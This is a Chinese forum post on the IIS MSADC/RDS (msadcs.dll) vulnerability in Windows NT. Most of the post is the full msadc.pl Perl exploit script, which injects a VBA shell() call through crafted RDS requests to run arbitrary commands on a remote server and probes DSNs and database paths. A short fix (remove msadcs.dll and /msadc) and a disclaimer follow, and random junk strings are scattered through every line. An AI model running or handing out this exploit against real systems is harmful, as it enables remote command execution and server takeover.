社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167073阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) o!aKeM~|Es  
3wX{U8mrg  
涉及程序: cx_[Y  
Microsoft NT server {QM;%f  
U#Wc!QN-t  
描述: A0V"5syY  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 *O)_D bj  
6pLB`1[v  
详细: LJc w->  
如果你没有时间读详细内容的话,就删除: {,]BqFXv  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?" {+m  
有关的安全问题就没有了。 m{JiF-=u  
rPaD#GA[7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3+EJ%  
l0U6eOx  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 k]qZOO}  
关于利用ODBC远程漏洞的描述,请参看: = EyxM  
CbQ@l@d]  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PUltn}M  
>m:.5][yu  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 i\3BA"ZX  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r[TS#hQ  
/I7sa* i  
这里不再论述。 |Mo# +{~c  
q[M7)-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @7u4v%,wB  
Jtd@8fVi  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset jm.pb/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .x(&-  
IywovN Tr  
,^26.p$  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  ,H1J$=X'  
i>ORCOOU  
#!perl UciWrwE  
# CV]PCq!  
# MSADC/RDS 'usage' (aka exploit) script >:W)9o  
# 8kW9.   
# by rain.forest.puppy D8m?`^Zz  
# E;VBoN [  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;FMK>%Zq  
# beta test and find errors! qt^%jIv  
$C9<{zX   
use Socket; use Getopt::Std; Co[[6pt~  
getopts("e:vd:h:XR", \%args); #xW%RF  
g~FB&U4c  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; nI2}E  
0WF(Ga/o  
if (!defined $args{h} && !defined $args{R}) { O<6/0ub&+h  
print qq~ l>~:lBO  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :{_Or'L  
-h <host> = host you want to scan (ip or domain) q E$ .a[  
-d <seconds> = delay between calls, default 1 second zesEbR)j  
-X = dump Index Server path table, if available By3dRiM=,2  
-v = verbose F|xXMpC.f  
-e = external dictionary file for step 5 @h>#cwhU  
)6bxP&k  
Or a -R will resume a command session sn5N9=\+T  
_N/]&|.. !  
~; exit;} Xuh_bW&zF  
"{z9 L+  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `3pe\s  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Qbl6~>T  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W.MJyem  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 45kMIh~~X  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} R3?~+ y&  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } aI8wy-3I  
%(6f  
if (!defined $args{R}){ $ret = &has_msadc; oYJ&BPuA'  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \lKQDct. -  
LaN4%[;X1-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Y1`.  
. "cmd /c "; Z"Et]xSU%$  
$in=<STDIN>; chomp $in; &CUkR6  
$command="cmd /c " . $in ; B1nb23SY T  
wf|CE410  
if (defined $args{R}) {&load; exit;} !cSD9q*  
Vg:P@6s  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^jf$V #z0/  
&try_btcustmr; D cus-,u~  
\?3];+c9  
print "\nStep 2: Trying to make our own DSN..."; /3KEX{'@U  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; yA%[ u.{  
AQQj]7Y  
print "\nStep 3: Trying known DSNs..."; JSGUl4N  
&known_dsn; De>pIN;B>  
N..9N$+(  
print "\nStep 4: Trying known .mdbs..."; ~RvU+D  
&known_mdb; ya:H{#%6  
l' "<  
if (defined $args{e}){ Nz!AR$  
print "\nStep 5: Trying dictionary of DSN names..."; _F@FcFG1Z*  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,x{5,K.yWq  
h(G&X9*  
print "Sorry Charley...maybe next time?\n"; ;A- Ef  
exit; k;LENB2iv  
+ s[(CI.b  
############################################################################## SCGQo.~,  
LR9'BUfFv  
sub sendraw { # ripped and modded from whisker (/@o7&>*50  
sleep($delay); # it's a DoS on the server! At least on mine... ^+GN8LUs  
my ($pstr)=@_; ?7G[`@^Y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p%3';7W\  
die("Socket problems\n"); 0HNe44oI+D  
if(connect(S,pack "SnA4x8",2,80,$target)){ fcw \`.  
select(S); $|=1; oK(ua  
print $pstr; my @in=<S>; QQ!,W':  
select(STDOUT); close(S); kQ'G+Kw~F  
return @in; ][?GJ"O+U  
} else { die("Can't connect...\n"); }} Z<&: W8n  
D(h|r^5  
############################################################################## 2B!nLL Cp+  
|?g2k:fzB7  
sub make_header { # make the HTTP request BwEL\*$g  
my $msadc=<<EOT W]M[5p]*  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 N#[/h96F  
User-Agent: ACTIVEDATA JBoo7a1  
Host: $ip k?S-peyRO  
Content-Length: $clen )3G?5 OTS  
Connection: Keep-Alive u[dI81`  
V KR6i  
ADCClientVersion:01.06 YO,GZD`-o  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 koqH~>ZtD  
E&[ox[g{  
--!ADM!ROX!YOUR!WORLD! ||!k 3t#<  
Content-Type: application/x-varg ^8MgNVoJ)  
Content-Length: $reqlen X;6X K$"  
_')KDy7  
EOT [fW:%!Y'  
; $msadc=~s/\n/\r\n/g; 4e%SF|(Y'h  
return $msadc;} %"KBX~3+Kj  
w^ DAu1  
############################################################################## [xE\IqwM  
j; +nnpg  
sub make_req { # make the RDS request OKf/[hyu  
my ($switch, $p1, $p2)=@_; ol:_2G2xQ  
my $req=""; my $t1, $t2, $query, $dsn; r;Dl  
aqyXxJS8  
if ($switch==1){ # this is the btcustmr.mdb query P, >#  
$query="Select * from Customers where City=" . make_shell(); p1|@F^Q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H>Fy 2w  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} CV& SNA  
$hEX,  
elsif ($switch==2){ # this is general make table query Wo2M}]0  
$query="create table AZZ (B int, C varchar(10))"; h[lh01z  
$dsn="$p1";} > 5 i8 %r  
5TnECk  
elsif ($switch==3){ # this is general exploit table query kwyvd`J8  
$query="select * from AZZ where C=" . make_shell(); ^T<<F}@q  
$dsn="$p1";} #K4wO!d  
54'z"S:W  
elsif ($switch==4){ # attempt to hork file info from index server 3gGF?0o  
$query="select path from scope()"; Fe/*U4xU  
$dsn="Provider=MSIDXS;";} IzL yn  
TnKe"TA|9  
elsif ($switch==5){ # bad query Z#Zk)  
$query="select"; zCco/]h  
$dsn="$p1";} TI*uNS;-  
 UnO -?  
$t1= make_unicode($query); 1$ l3-x  
$t2= make_unicode($dsn); r-!8in2  
$req = "\x02\x00\x03\x00"; e8gD(T  
$req.= "\x08\x00" . pack ("S1", length($t1)); Nz]\%c/-  
$req.= "\x00\x00" . $t1 ; U| y+k`  
$req.= "\x08\x00" . pack ("S1", length($t2)); A!j&g(Z"Q  
$req.= "\x00\x00" . $t2 ; (^6SF>'  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; IB?5y~+h  
return $req;} {WC{T2:8  
SYC_=X  
############################################################################## 7pGlbdS  
0&w.QoZY(  
sub make_shell { # this makes the shell() statement dwmj*+  
return "'|shell(\"$command\")|'";} M VsIyP  
*.i` hfRc  
############################################################################## nNL9B~d  
av5lgv)3  
sub make_unicode { # quick little function to convert to unicode +:^tppg  
my ($in)=@_; my $out; {j^}"8GB  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } D&]SPhX  
return $out;} hZyz5aZ)K  
X"[c[YT!%[  
############################################################################## >Ks|yNJ  
TYB^CVSZ  
sub rdo_success { # checks for RDO return success (this is kludge) P [gqv3V  
my (@in) = @_; my $base=content_start(@in); M~wJe@bc  
if($in[$base]=~/multipart\/mixed/){  o,X ?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} FfP Ce5)  
return 0;} 7[8PSoo  
J.*dA j  
############################################################################## jT'1k[vJj  
+='.uc_  
sub make_dsn { # this makes a DSN for us j[c|np4k\  
my @drives=("c","d","e","f"); SFh6'v'1N@  
print "\nMaking DSN: "; Gh@QR`xxc  
foreach $drive (@drives) { c"fnTJXr79  
print "$drive: "; M#2DI?S@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {E!$<A9  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" z?+N3p9  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); A!hkofQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  DMf:u`<  
return 0 if $2 eq "404"; # not found/doesn't exist -,p(PK  
if($2 eq "200") { \]o#tYN\a0  
foreach $line (@results) { yyBy|7QgO  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Qs*g)Yr  
} return 0;} Y.=v!*p?}  
M3x%D)*  
############################################################################## o,u-%  
Q;`#ujxL  
sub verify_exists { CFn!P;.!  
my ($page)=@_; r6j 3A  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 5]gd,&^?>  
return $results[0];} ^ b}_[B  
qL3*H\9N  
############################################################################## jYuH zf  
 &grT}  
sub try_btcustmr { H{9di\xnEm  
my @drives=("c","d","e","f"); Oi=kL{DG:s  
my @dirs=("winnt","winnt35","winnt351","win","windows"); VBsS1!g  
{6A3?q  
foreach $dir (@dirs) { &s\w: 9In  
print "$dir -> "; # fun status so you can see progress  :3u>%  
foreach $drive (@drives) { Eiwo== M  
print "$drive: "; # ditto #=+d;RdlW  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; H}X3nl\]  
$reqlenlen=length( "$reqlen" ); {bl^O  
$clen= 206 + $reqlenlen + $reqlen; q]<cn2  
gNN{WFHQX:  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @e+QGd;}  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} aQw?r  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} mZ*!$P:vy"  
A=E1S{C  
##############################################################################  s y#CR4X  
Qnph?t>  
sub odbc_error { [,$] %|6wt  
my (@in)=@_; my $base; b6Dve]  
my $base = content_start(@in); kW5g]Q   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this =A04E  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ll%[}C?~]?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $^}?98m  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }"%tlU!}  
return $in[$base+4].$in[$base+5].$in[$base+6];} Bo_Ivhe[m  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9>\s81^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . b=`h""u  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ~[isR|>  
05.^MU?^U  
############################################################################## TU7Qt<  
-+-@Yq$  
sub verbose { ^6oz3+  
my ($in)=@_; CR&v z3\Q  
return if !$verbose; $#8dtF  
print STDOUT "\n$in\n";} .[ NB"\<q  
mKQ !@$*  
############################################################################## > QDmSy*&  
9 }jF]P*Q  
sub save { K1]H~'  
my ($p1, $p2, $p3, $p4)=@_; -6(C ^X%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W{Ine> a'  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; VW$Hzx_z  
close OUT;} +r"{$'{^  
6/Q'o5>NL:  
############################################################################## pMKnA. |  
^ ,d!K2`  
sub load {  w:#yu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5_x8!v  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #\_N-bVu  
@p=<IN>; close(IN); a4Fe MCvV9  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); S{7A3 x'B  
$target= inet_aton($ip) || die("inet_aton problems"); k$j>_U? P  
print "Resuming to $ip ..."; y}FTLX $  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; tQ&.;{5[f  
if($p[1]==1) { LaG./+IP  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; pMe'fC~*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; JJPU!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~q5"'  
if (rdo_success(@results)){print "Success!\n";} #ih(I7prH  
else { print "failed\n"; verbose(odbc_error(@results));}} T'"aStt6  
elsif ($p[1]==3){ N p$pz  
if(run_query("$p[3]")){ d @<(Z7|  
print "Success!\n";} else { print "failed\n"; }} 3Gubq4r  
elsif ($p[1]==4){ T;IaVMFG|d  
if(run_query($drvst . "$p[3]")){ x$tx!%,)/S  
print "Success!\n"; } else { print "failed\n"; }} q]ER_]%Gna  
exit;} 2Xys;Dwx  
k^:)|Z  
############################################################################## ^y]CHr  
o['HiX  
sub create_table { 1>r7s*  
my ($in)=@_; RtwlPz<~S  
$reqlen=length( make_req(2,$in,"") ) - 28; }K!}6?17T  
$reqlenlen=length( "$reqlen" ); 3&^4%S{/  
$clen= 206 + $reqlenlen + $reqlen; 0,1:l3iu1M  
my @results=sendraw(make_header() . make_req(2,$in,"")); N.vt5WP  
return 1 if rdo_success(@results); M,7A|?O  
my $temp= odbc_error(@results); verbose($temp); dgh )Rfp3  
return 1 if $temp=~/Table 'AZZ' already exists/; y1GVno  
return 0;} M{<cqxY  
BqC!78Y/e  
############################################################################## w]J9Kv1)-  
d[9c6C:<q  
sub known_dsn { i<@6f'Kir  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go nlOM4fJ(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", g"Mqh!{ FI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", WwG78b-OA  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Ri=>evx  
L0H;y6&  
foreach $dSn (@dsns) { F[BJhN*]a  
print "."; $1y8gm  
next if (!is_access("DSN=$dSn")); B&ItA76  
if(create_table("DSN=$dSn")){ SSEK9UX  
print "$dSn successful\n"; <csz4tL}P  
if(run_query("DSN=$dSn")){ BU(:6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xb1 i{d  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?mU 3foa  
OOA %NKV  
############################################################################## 7 p}J]!Z  
[DpGL/Y.  
sub is_access { e[.c^Hw  
my ($in)=@_; jT}3Zn  
$reqlen=length( make_req(5,$in,"") ) - 28; Vf9PHHH|   
$reqlenlen=length( "$reqlen" ); ,\laqH\ 1%  
$clen= 206 + $reqlenlen + $reqlen; \x P$m|Y3  
my @results=sendraw(make_header() . make_req(5,$in,"")); N3nFE:`u]  
my $temp= odbc_error(@results); mrX 2w  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); uu@Y]0-  
return 0;} B8 ;jRY  
nk|j(D  
############################################################################## /n;Ll](ri  
:34]}`-  
sub run_query { rH Et]Xa  
my ($in)=@_; FKRO0%M4}Z  
$reqlen=length( make_req(3,$in,"") ) - 28; _:DnF  
$reqlenlen=length( "$reqlen" ); ,#:*dl  
$clen= 206 + $reqlenlen + $reqlen; 78zjC6}`  
my @results=sendraw(make_header() . make_req(3,$in,"")); (hWr!(>C4]  
return 1 if rdo_success(@results); \n$s5i-  
my $temp= odbc_error(@results); verbose($temp); 5G"LuA  
return 0;} +RW P;rk  
<+I^K 7   
############################################################################## qDHiyg^u  
03$-U0.;-  
sub known_mdb { ky>0  
my @drives=("c","d","e","f","g"); 3NAU|//J  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *y<Ru:D  
my $dir, $drive, $mdb; __o`+^FS  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Vz[E)(QX-`  
s3@sX_2  
# this is sparse, because I don't know of many {@, } M  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #2l6'gWE0  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", XHU&ix{Od  
"\\system32\\certmdb.mdb", hiO:VA  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% A`_(L|~  
M0VC-\W7f  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", xEdCGwgp#  
"\\cfusion\\cfapps\\forums\\forums_.mdb", hp=TWt~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =.NZ {G  
"\\cfusion\\cfapps\\security\\realm_.mdb", Au3> =x`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", x}o]R  
"\\cfusion\\database\\cfexamples.mdb", l}odW  
"\\cfusion\\database\\cfsnippets.mdb", |:yQOq|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", k.=67L  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", a Mp*Ap  
"\\cfusion\\brighttiger\\database\\cleam.mdb", q,6 y{RyS  
"\\cfusion\\database\\smpolicy.mdb", 5(e?,B }  
"\\cfusion\\database\cypress.mdb", G%0G$3W"  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", H^_]' ~.  
"\\website\\cgi-win\\dbsample.mdb", rw_T&>!  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", E)z[@Np  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 6Q S[mWU  
); #these are just !9|)v7}  
foreach $drive (@drives) { DE"KbA0}  
foreach $dir (@dirs){ EXn$ [K;  
foreach $mdb (@sysmdbs) { Y8!T4dkn  
print "."; L(tS]yWHw  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ tk3%0XZH  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; y\0<f `v6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ zWvG];fsN  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R{{d4=:S  
} else { print "Something's borked. Use verbose next time\n"; }}}}} n.zVCKN H  
'A@[a_  
foreach $drive (@drives) { Bfhw0v]Z  
foreach $mdb (@mdbs) { GBOz,_pw  
print "."; Y^5X>  
if(create_table($drv . $drive . $dir . $mdb)){ obWBX'  
print "\n" . $drive . $dir . $mdb . " successful\n"; dv3+x\`9  
if(run_query($drv . $drive . $dir . $mdb)){ [ox!MQ+s  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; r"#h6lYK&  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5<Mht6"H  
} Cr0 \7  
K^z-G=|N  
############################################################################## DF D5">g@  
LL3RC6;e  
sub hork_idx { 7+] T}4;  
print "\nAttempting to dump Index Server tables...\n"; T3 xr Ua&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; `< 8Fc`;[  
$reqlen=length( make_req(4,"","") ) - 28; BOqq=WY  
$reqlenlen=length( "$reqlen" ); *;A I0  
$clen= 206 + $reqlenlen + $reqlen; G"!YV#"~  
my @results=sendraw2(make_header() . make_req(4,"","")); "h.}o DS  
if (rdo_success(@results)){  |F5^mpU  
my $max=@results; my $c; my %d; L8-  
for($c=19; $c<$max; $c++){ _nu %`?Va  
$results[$c]=~s/\x00//g; N!6{c~^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +js3o@Ku{\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; o?A/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5wXe^G  
$d{"$1$2"}="";} ,Ie~zZE&  
foreach $c (keys %d){ print "$c\n"; } W"9iFj X  
} else {print "Index server doesn't seem to be installed.\n"; }} ^Q8m) 0DP  
p '{ `Uvr  
############################################################################## pGw|T~e%  
QrDrd A  
sub dsn_dict { Mi'Q5m  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _DfI78`(  
while(<IN>){ 5vIuH+0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 1xK'T_[  
next if (!is_access("DSN=$dSn")); $eQ_!7Gom$  
if(create_table("DSN=$dSn")){ 8 OC5L1  
print "$dSn successful\n"; ;aYPv8s~,:  
if(run_query("DSN=$dSn")){ Wo5G23:xz  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -F,o@5W>Y  
print "Something's borked. Use verbose next time\n";}}} I%xrDiK97  
print "\n"; close(IN);} }i_[wq{E&  
lv9Ss-c4  
############################################################################## 'qLk"   
j9C=m"O  
sub sendraw2 { # ripped and modded from whisker 5n;|K]UW  
sleep($delay); # it's a DoS on the server! At least on mine... J)(H-xvV  
my ($pstr)=@_; b><jhbv  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s%]-Sw9  
die("Socket problems\n"); GV)#>PL  
if(connect(S,pack "SnA4x8",2,80,$target)){ ( _]{[dFr%  
print "Connected. Getting data"; G}i\UXFE  
open(OUT,">raw.out"); my @in; Vja' :i  
select(S); $|=1; print $pstr; !7J;h{3Uw  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z91gAy^z<  
close(OUT); select(STDOUT); close(S); return @in; {B|U8j[  
} else { die("Can't connect...\n"); }} S4<@ji  
| (P%<  
############################################################################## P,AS`=z  
9\TvX!)h  
sub content_start { # this will take in the server headers LXIlrZ9D5  
my (@in)=@_; my $c; XboOvdt^|  
for ($c=1;$c<500;$c++) { `<y[V  
if($in[$c] =~/^\x0d\x0a/){ :YjOv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ?zUV3Qgzj  
else { return $c+1; }}} ~bT0gIc  
return -1;} # it should never get here actually [$?S9)Xd  
Kbx(^f12  
############################################################################## Q3%a=ba)h  
9<<$uf.B  
sub funky { 0<{/T*AU:  
my (@in)=@_; my $error=odbc_error(@in); mquna"}N  
if($error=~/ADO could not find the specified provider/){ &dvJg  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7=om /  
exit;} 3@$h/xMJ  
if($error=~/A Handler is required/){ l>"gO9j  
print "\nServer has custom handler filters (they most likely are patched)\n"; G%ycAm  
exit;} .&7=ZY>E  
if($error=~/specified Handler has denied Access/){ U._ U!U  
print "\nServer has custom handler filters (they most likely are patched)\n"; _wM[U`H}s  
exit;}} P,h@F+OZN  
_ %&"4bm.  
############################################################################## )ACa0V>*p  
vJ GxD\h  
sub has_msadc { v Xio1hu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z1!ya#,$  
my $base=content_start(@results); m|~,#d@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <t]c'  
return 0;} EBzg<-?o  
bXq,iX  
######################## 2 T{PIJg3  
~'fa,XZ<  
BO[Q"g$Kon  
解决方案: X_s;j5ur  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll #CV(F$\1{  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3=bzIU  
vW$] :).  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八